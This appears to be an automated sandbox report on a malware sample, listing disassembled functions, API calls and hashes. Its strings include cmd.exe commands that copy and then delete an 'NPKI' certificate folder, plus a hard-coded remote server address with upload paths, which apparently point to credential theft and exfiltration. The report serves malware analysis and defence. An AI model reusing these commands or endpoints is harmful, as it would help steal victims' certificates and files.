SendMessageA.USER32(?,00000080,00000000,?), ref: 00401FBF
#823.MFC42(00000128), ref: 00401FC6
#2086.MFC42(00000082), ref: 00401FFE
#6215.MFC42(00000005,00000082), ref: 0040200F
SendMessageA.USER32(?,00001037,00000000,00000000), ref: 00402021
SendMessageA.USER32(?,00001036,00000000,00000000), ref: 00402033
SendMessageA.USER32(?,00001037,00000000,00000000), ref: 00402042
SendMessageA.USER32(?,00001036,00000000,00000000), ref: 00402050
#3996.MFC42(00000000,00406328,00000000,00000028,000000FF), ref: 00402065
#3996.MFC42(00000001,00406320,00000000,0000008C,000000FF,00000000,00406328,00000000,00000028,000000FF), ref: 0040207C
#3996.MFC42(00000002,00406318,00000000,0000008C,000000FF,00000001,00406320,00000000,0000008C,000000FF,00000000,00406328,00000000,00000028,000000FF), ref: 0040208E
#3996.MFC42(00000003,00406310,00000000,00000037,000000FF,00000002,00406318,00000000,0000008C,000000FF,00000001,00406320,00000000,0000008C,000000FF,00000000), ref: 004020A1
#3996.MFC42(?,00406308,00000000,00000064,000000FF,00000003,00406310,00000000,00000037,000000FF,00000002,00406318,00000000,0000008C,000000FF,00000001), ref: 004020B4
InitializeCriticalSection.KERNEL32(?,?,00406308,00000000,00000064,000000FF,00000003,00406310,00000000,00000037,000000FF,00000002,00406318,00000000,0000008C,000000FF), ref: 004020C0

Memory Dump Source

Source File: 00000005.00000002.1356991141.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1356970323.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1357477439.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358253424.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358284259.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mszcy.jbxd

Similarity

API ID: MessageSend$#3996$Menu$Append$#2086#2863#4160#4710#540#6215#800#823CriticalH_prologInitializeSectionSystem
String ID:
API String ID: 2371848494-0
Opcode ID: bf1e5139828ca2f7575a42d4d539cb4ceebe527546bc2a5505485d4eded29568
Instruction ID: 22c113c14c16facbbd4b385fd64242b7c064b1ff54e6b864585585fb015a5088
Opcode Fuzzy Hash: bf1e5139828ca2f7575a42d4d539cb4ceebe527546bc2a5505485d4eded29568
Instruction Fuzzy Hash: 1B41E6B02407097BE6257B21CC86F6F769DFB84798F10063DF2A5761E1CBB96C008A68

Function 0040141D Relevance: 13.6, APIs: 9, Instructions: 75
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageA.USER32(?), ref: 0040144F
SendMessageA.USER32(?,000000CE,00000000,00000000), ref: 0040145E
SendMessageA.USER32(?,000000CE,00000000,00000000), ref: 0040146D
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 0040148D
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 00401499
SendMessageA.USER32(?,000000B6,00000000,?), ref: 004014AB
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 004014C7
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 004014D3
SendMessageA.USER32(?,000000B6,00000000,?), ref: 004014E5

Memory Dump Source

Source File: 00000005.00000002.1356991141.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1356970323.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1357477439.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358253424.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358284259.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mszcy.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: ad132ba9e6c3f3ed83570c34e1da1694867b5aed1bc06737ede0cc76b482b387
Instruction ID: bb5fe5f59efd3e526b113e407ce870d9a6257fa786e4d84f1a1b66b5d905c888
Opcode Fuzzy Hash: ad132ba9e6c3f3ed83570c34e1da1694867b5aed1bc06737ede0cc76b482b387
Instruction Fuzzy Hash: 6B215B7161434DBFE721AF24CC80FABBFADFB44394F40052AB59852060C7716C28CBA1

Function 004014F5 Relevance: 13.6, APIs: 9, Instructions: 75windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?), ref: 00401527
SendMessageA.USER32(?,000000CE,00000000,00000000), ref: 00401536
SendMessageA.USER32(?,000000CE,00000000,00000000), ref: 00401545
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 00401565
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 00401571
SendMessageA.USER32(?,000000B6,00000000,?), ref: 00401583
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 0040159F
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 004015AB
SendMessageA.USER32(?,000000B6,00000000,?), ref: 004015BD

Memory Dump Source

Source File: 00000005.00000002.1356991141.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1356970323.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1357477439.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358253424.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358284259.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mszcy.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 99b8175f4789665816ee58ce95148e85964884c2d1b05ba2febfe70cb83b4eb1
Instruction ID: d9274a69ea71e40b52450c2f1abff6bb4cc12b44bfabd653b35ee0167fd8c358
Opcode Fuzzy Hash: 99b8175f4789665816ee58ce95148e85964884c2d1b05ba2febfe70cb83b4eb1
Instruction Fuzzy Hash: 5A213B7161435DBFEB11AF25CC80FABBFADFB44384F40052AB59852160D7716D289BA1

Function 00401349 Relevance: 13.6, APIs: 9, Instructions: 74windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?), ref: 0040137B
SendMessageA.USER32(?,000000CE,00000000,00000000), ref: 0040138A
SendMessageA.USER32(?,000000CE,00000000,00000000), ref: 00401399
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 004013B5
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 004013C1
SendMessageA.USER32(?,000000B6,00000000,?), ref: 004013D3
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 004013EF
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 004013FB
SendMessageA.USER32(?,000000B6,00000000,?), ref: 0040140D

Memory Dump Source

Source File: 00000005.00000002.1356991141.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1356970323.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1357477439.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358253424.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358284259.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mszcy.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 305f06924834a9908d84543f76578ecc6405ed01a93ac79d48c62636bf4700f6
Instruction ID: 56a25f80e609cbd08b066c68ee1e37c059073ee632eaa49d0b548e2ccd918b9e
Opcode Fuzzy Hash: 305f06924834a9908d84543f76578ecc6405ed01a93ac79d48c62636bf4700f6
Instruction Fuzzy Hash: 49215CB160535DBFEB21AF258C80FABFFADFB44394F00052AB59852060C7716D28DBA1

Function 00401000 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00401005
#324.MFC42(00000082,?), ref: 0040101B
#567.MFC42(00000082,?), ref: 00401029
#567.MFC42(00000082,?), ref: 00401041
#567.MFC42(00000082,?), ref: 00401054
CreateSolidBrush.GDI32(00FFFFFF), ref: 00401066

Strings

D@, xrefs: 0040102E

Memory Dump Source

Source File: 00000005.00000002.1356991141.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1356970323.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1357477439.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358253424.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358284259.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mszcy.jbxd

Similarity

API ID: #567$#324BrushCreateH_prologSolid
String ID: D@
API String ID: 1271399592-116940557
Opcode ID: a93d2b0ed926015932f3efea9d707e5f8f5c25ad2ce72d1844b1993bb421de03
Instruction ID: 13884b46de095b52d8f8717c358092e8eec3470aa280cab25804e1b70b61f98b
Opcode Fuzzy Hash: a93d2b0ed926015932f3efea9d707e5f8f5c25ad2ce72d1844b1993bb421de03
Instruction Fuzzy Hash: 9D01FCB16003549BDB209F69C58978EBBE0FF81348F00443EE9926B2C2C7B85A08D765

Function 00402226 Relevance: 10.5, APIs: 7, Instructions: 46windowCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,00402216), ref: 00402237
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00402252
#3286.MFC42(-00000001,?,?,?,?,?,00402216), ref: 00402261
#825.MFC42(?,-00000001,?,?,?,?,?,00402216), ref: 0040226F
#825.MFC42(00000000,?,-00000001,?,?,?,?,?,00402216), ref: 00402275
SendMessageA.USER32(?,00001008,-00000001,00000000), ref: 0040228A
LeaveCriticalSection.KERNEL32(?,?,?,?,?,00402216), ref: 00402294

Memory Dump Source

Source File: 00000005.00000002.1356991141.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1356970323.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1357477439.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358253424.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358284259.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mszcy.jbxd

Similarity

API ID: #825CriticalMessageSectionSend$#3286EnterLeave
String ID:
API String ID: 2141797828-0
Opcode ID: 345f4108f9338b5cd1efb657daf810a46913b3e0c3edca353be0c7de5a5d4693
Instruction ID: b9e60a6790c5ed3c642633d5835f906307b00da717bc424c3a2b37c864f405ef
Opcode Fuzzy Hash: 345f4108f9338b5cd1efb657daf810a46913b3e0c3edca353be0c7de5a5d4693
Instruction Fuzzy Hash: 64F0F472205215BFE2156B61EE09F8BBB58FF84321F10013BF709B20E19BF4680096A8

Function 00401E2A Relevance: 10.5, APIs: 7, Instructions: 42windowCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00401E2F
#324.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E41
#567.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E4F
#567.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E66
#1168.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E91
#1146.MFC42(00000080,0000000E,00000080,00000066,?,?,?,?,00401C92,00000000), ref: 00401E9F
LoadIconA.USER32(00000000,00000080), ref: 00401EA5

Memory Dump Source

Source File: 00000005.00000002.1356991141.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1356970323.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1357477439.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358253424.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358284259.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mszcy.jbxd

Similarity

API ID: #567$#1146#1168#324H_prologIconLoad
String ID:
API String ID: 2995884226-0
Opcode ID: e9fea58024a95a92706cb3ea0515c02a4b245b0f3a3af034628e2e1244cc45d7
Instruction ID: 6195de06ed0686a01f6ea18af6a3778e2a15774cd3760b5cb09f72b4f9ec5dc5
Opcode Fuzzy Hash: e9fea58024a95a92706cb3ea0515c02a4b245b0f3a3af034628e2e1244cc45d7
Instruction Fuzzy Hash: EF01C0B1A00384AAD711EB65C50979FBBA4FF91308F00887EE586732C1C7F81604D7A9

Function 0040174F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00401768
srand.MSVCRT ref: 0040176F
rand.MSVCRT ref: 0040177C
rand.MSVCRT ref: 00401794

Strings

ekimhuqcroanflvzgdjtxypswb, xrefs: 0040175B

Memory Dump Source

Source File: 00000005.00000002.1356991141.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1356970323.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1357477439.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358253424.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358284259.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mszcy.jbxd

Similarity

API ID: rand$CountTicksrand
String ID: ekimhuqcroanflvzgdjtxypswb
API String ID: 3923125369-3762667353
Opcode ID: 759b461be63a90c0a6722cfee258f62135b3283f7b68fc9f86cb98f3e6b20c4e
Instruction ID: 0f0927eb61d3c32e8c18992b3a3ed773e98e9a1b9926048b9e47f112dc32a9e4
Opcode Fuzzy Hash: 759b461be63a90c0a6722cfee258f62135b3283f7b68fc9f86cb98f3e6b20c4e
Instruction Fuzzy Hash: 1FF04C33B0030457C7107F6A6984D9BBB999BC9720F01403EFE046B281C6B5940286B4

Function 00401D6F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00401D74
#324.MFC42(00000064,00000000), ref: 00401D85
#540.MFC42(00000064,00000000), ref: 00401D93
#860.MFC42(RedTom21@HotMail.com,00000064,00000000), ref: 00401DA9

Strings

RedTom21@HotMail.com, xrefs: 00401D98

Memory Dump Source

Source File: 00000005.00000002.1356991141.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1356970323.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1357477439.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358253424.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358284259.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mszcy.jbxd

Similarity

API ID: #324#540#860H_prolog
String ID: RedTom21@HotMail.com
API String ID: 1715175771-4020391281
Opcode ID: 2e6038b0c2a3161042f3a77bc08ef84b8c52d66f33703c1b03fec492057627b6
Instruction ID: 78d62cf22874564550b960a1e2f1980c8c55d506c68ef3259133a31bc2e11175
Opcode Fuzzy Hash: 2e6038b0c2a3161042f3a77bc08ef84b8c52d66f33703c1b03fec492057627b6
Instruction Fuzzy Hash: 9FE06571B403509BD714AB99C50A79EB6A9EF91714F10447FA902773C1C7FC6E009699

Function 004017B2 Relevance: 7.6, APIs: 5, Instructions: 67fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000), ref: 004017ED
memset.MSVCRT ref: 00401814
ReadFile.KERNEL32(?,?,00001000,?,00000000), ref: 0040182C
memcpy.MSVCRT(?,?,?), ref: 00401847
CloseHandle.KERNEL32(?), ref: 00401859

Memory Dump Source

Source File: 00000005.00000002.1356991141.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1356970323.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1357477439.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358253424.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358284259.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mszcy.jbxd

Similarity

API ID: File$CloseCreateHandleReadmemcpymemset
String ID:
API String ID: 3052882905-0
Opcode ID: 44267068a63abdb27b6f021e64f533e27db4bc8761671b15b42d38a0f2456496
Instruction ID: e342418d90b68a1d807531b6c152f1c53a72d441e6209e681be522bd43cf2dcc
Opcode Fuzzy Hash: 44267068a63abdb27b6f021e64f533e27db4bc8761671b15b42d38a0f2456496
Instruction Fuzzy Hash: 8111BEB2900148BFDB119F98CC81BDA37ADEB08355F108076F709F6190D2B0AF848B68

Function 004024DF Relevance: 7.6, APIs: 5, Instructions: 57COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 004024F1
_ftol.MSVCRT ref: 00402517
_ftol.MSVCRT ref: 00402525
#4299.MFC42(0000000F,00000041,?,?,00000001), ref: 00402549
#4299.MFC42(0000000F,?,?,000000F1,00000001), ref: 0040256B

Memory Dump Source

Source File: 00000005.00000002.1356991141.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1356970323.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1357477439.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358253424.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358284259.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mszcy.jbxd

Similarity

API ID: #4299_ftol$ClientRect
String ID:
API String ID: 3171108694-0
Opcode ID: 5b5269a8b2c3e4b0ac480d2bf8ec9612011b5aad8df481b47eb0e60a219a1807
Instruction ID: 3880c801f612beb6246e745b78d7e2d3a19b48e5053d162d2e00decfba834721
Opcode Fuzzy Hash: 5b5269a8b2c3e4b0ac480d2bf8ec9612011b5aad8df481b47eb0e60a219a1807
Instruction Fuzzy Hash: C51151B1A00209BFDB10DBA9DE59BAEB778FF40744F10027AF501B61E5D7B49D40DA28

Function 004020DA Relevance: 7.5, APIs: 5, Instructions: 24COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004020DF
#2379.MFC42 ref: 00402125

Part of subcall function 00401D6F: _EH_prolog.MSVCRT ref: 00401D74
Part of subcall function 00401D6F: #324.MFC42(00000064,00000000), ref: 00401D85
Part of subcall function 00401D6F: #540.MFC42(00000064,00000000), ref: 00401D93
Part of subcall function 00401D6F: #860.MFC42(RedTom21@HotMail.com,00000064,00000000), ref: 00401DA9

#2514.MFC42 ref: 00402103
#800.MFC42 ref: 00402112
#641.MFC42 ref: 0040211E

Memory Dump Source

Source File: 00000005.00000002.1356991141.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1356970323.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1357477439.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358253424.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358284259.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mszcy.jbxd

Similarity

API ID: H_prolog$#2379#2514#324#540#641#800#860
String ID:
API String ID: 1337987987-0
Opcode ID: a4f86554920c1d60b447a310fd9ec504fb6ed513b6fab3962996ee4d40a29264
Instruction ID: 0c37060d93abf7ffef3ab529cf96d0046ab1b8bea522c7ef1cdfd7726eb284c9
Opcode Fuzzy Hash: a4f86554920c1d60b447a310fd9ec504fb6ed513b6fab3962996ee4d40a29264
Instruction Fuzzy Hash: 09F0FE71810518DADB25EFA5C65A7ACB730BF20314F60417FA412761D2DBBC5A09CA59

Function 004010A8 Relevance: 7.5, APIs: 5, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004010AD
#656.MFC42(?,?,00401094), ref: 004010C6
#656.MFC42(?,?,00401094), ref: 004010D5
#656.MFC42(?,?,00401094), ref: 004010E1
#641.MFC42(?,?,00401094), ref: 004010EC

Memory Dump Source

Source File: 00000005.00000002.1356991141.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1356970323.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1357477439.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358253424.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358284259.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mszcy.jbxd

Similarity

API ID: #656$#641H_prolog
String ID:
API String ID: 2321568657-0
Opcode ID: 2301cf39d9f84a458cdb1385a3b7908f8fb3180347b8e91d03edffd7431175f3
Instruction ID: e680012da702e7b92035de08c4d7561f67a84a50463a6348afc1be6ddfe969e7
Opcode Fuzzy Hash: 2301cf39d9f84a458cdb1385a3b7908f8fb3180347b8e91d03edffd7431175f3
Instruction Fuzzy Hash: 5DF03071915654DADB2CEBA5CA197DDBBA4BF04318F00456FE066732C2CBF81B08C755

Function 004015CD Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

#2379.MFC42 ref: 004015D2
#4299.MFC42(00000000,00000000,00000028,?,00000001), ref: 00401602
#4299.MFC42(00000032,00000000,0000012C,?,00000001), ref: 00401624
#4299.MFC42(00000168,00000000,00000000,?,00000001), ref: 00401645

Memory Dump Source

Source File: 00000005.00000002.1356991141.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1356970323.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1357477439.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358253424.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358284259.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mszcy.jbxd

Similarity

API ID: #4299$#2379
String ID:
API String ID: 453929936-0
Opcode ID: dc378f647d04030cb087140241a589892729b93da9fee3e182db44f2421a5fcb
Instruction ID: 396461380f4f282afe083d313e8dd4ae14482c7760a999395c5db5fab6d4a27c
Opcode Fuzzy Hash: dc378f647d04030cb087140241a589892729b93da9fee3e182db44f2421a5fcb
Instruction Fuzzy Hash: AF01B131240700ABD5318A59CC81FABB3AAAFC4B05F280E2FF183391D1D7BB8841C619

Function 00401CEC Relevance: 6.0, APIs: 4, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00401CF1
#693.MFC42(?,?,00401CDE), ref: 00401D19
#609.MFC42(?,?,00401CDE), ref: 00401D25
#641.MFC42(?,?,00401CDE), ref: 00401D30

Memory Dump Source

Source File: 00000005.00000002.1356991141.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1356970323.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1357477439.0000000000404000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358253424.0000000000406000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1358284259.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mszcy.jbxd

Similarity

API ID: #609#641#693H_prolog
String ID:
API String ID: 432028610-0
Opcode ID: 8fceb26bd7cd2eda50943f19653515a01d97790802a6fa3cf18d9ab7d8ca528c
Instruction ID: c1b141184ca5cae31352d23a373f4eac66a41ce64f7327093406d0e5d71bec99
Opcode Fuzzy Hash: 8fceb26bd7cd2eda50943f19653515a01d97790802a6fa3cf18d9ab7d8ca528c
Instruction Fuzzy Hash: F3F0A070920664DACB18FBA4C6193DDBBB8AF14308F00466FA062732C2CBF81B04C795

Analysis Process: rundll32.exePID: 7556, Parent PID: 7540COMMON

Execution Graph

Execution Coverage:	10.5%
Dynamic/Decrypted Code Coverage:	4.4%
Signature Coverage:	3.2%
Total number of Nodes:	950
Total number of Limit Nodes:	29

Executed Functions

Function 1000B0A0 Relevance: 79.1, APIs: 33, Strings: 12, Instructions: 387
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(?,?), ref: 1000B0D9
lstrcat.KERNEL32(?,10019BE4), ref: 1000B0F2
lstrcat.KERNEL32(?,*.*), ref: 1000B101
FindFirstFileA.KERNEL32(?,?,?,1000B62C,?), ref: 1000B113
FindNextFileA.KERNEL32(00000000,?,?,1000B62C,?), ref: 1000B139
lstrcpy.KERNEL32(?,?), ref: 1000B194
lstrcat.KERNEL32(?,10019BE4), ref: 1000B1A7
lstrcat.KERNEL32(?,0000002E), ref: 1000B1B9
_strcmpi.MSVCRT ref: 1000B1C8
GetTickCount.KERNEL32 ref: 1000B252
srand.MSVCRT ref: 1000B259
rand.MSVCRT ref: 1000B264
rand.MSVCRT ref: 1000B280
rand.MSVCRT ref: 1000B28E
rand.MSVCRT ref: 1000B29C

Strings

cmd.exe /c rd /q /s "c:\%s", xrefs: 1000B54F
*.*, xrefs: 1000B0FB
., xrefs: 1000B14E
cmd.exe /c md c:\%s && xcopy /Y "%s" "c:\%s" /S /E /C /H && exit, xrefs: 1000B32A
c:\%c%c%c%c.%c%c%c, xrefs: 1000B2EF
09161305.txt, xrefs: 1000B1EC, 1000B513
/u.php, xrefs: 1000B4E0
%s\%s, xrefs: 1000B204, 1000B520
NPKI, xrefs: 1000B1C3
P, xrefs: 1000B412
c:\%s, xrefs: 1000B392
107.163.241.204:12354/show.php, xrefs: 1000B437

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: lstrcatrand$FileFindlstrcpy$CountFirstNextTick_strcmpisrand
String ID: %s\%s$*.*$.$/u.php$09161305.txt$107.163.241.204:12354/show.php$NPKI$P$c:\%c%c%c%c.%c%c%c$c:\%s$cmd.exe /c md c:\%s && xcopy /Y "%s" "c:\%s" /S /E /C /H && exit$cmd.exe /c rd /q /s "c:\%s"
API String ID: 3781771675-4019994392
Opcode ID: 2284cdc7a81e1ca56d47e462f78087d377d0c49b06d915c65bae469ad145cbd7
Instruction ID: a4cd3bd12e50bbdbb4defcecebe161b9358dfbd0595dc6434b30c1e57eafc0f0
Opcode Fuzzy Hash: 2284cdc7a81e1ca56d47e462f78087d377d0c49b06d915c65bae469ad145cbd7
Instruction Fuzzy Hash: 9ED1A6B1508386AFE725CB64CD91BEB77DAEBC8344F004D2DE68697241DB74E6088753

Function 100055E0 Relevance: 56.3, APIs: 23, Strings: 9, Instructions: 263
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000202,?), ref: 10005652
socket.WS2_32(00000002,00000002,00000000), ref: 10005664
socket.WS2_32(00000002,00000002,00000000), ref: 10005670
htons.WS2_32(00000035), ref: 10005687
inet_addr.WS2_32(127.0.0.1), ref: 10005699
htons.WS2_32(00000035), ref: 100056A1
inet_addr.WS2_32(?), ref: 100056A8
bind.WS2_32(00000000,?,00000010), ref: 100056B2
ioctlsocket.WS2_32(00000000,8004667E,?), ref: 100056CB
select.WS2_32 ref: 1000570C
Sleep.KERNEL32(000003E8), ref: 10005721
wsprintfA.USER32 ref: 100057C2
malloc.MSVCRT ref: 1000582A
htons.WS2_32(00008180), ref: 10005861
htons.WS2_32(00008182), ref: 10005878
htons.WS2_32(00000001), ref: 10005884
htons.WS2_32(0000C00C), ref: 100058AA
htons.WS2_32(00000001), ref: 100058B3
htons.WS2_32(00000001), ref: 100058BC
htons.WS2_32(00000004), ref: 100058D1
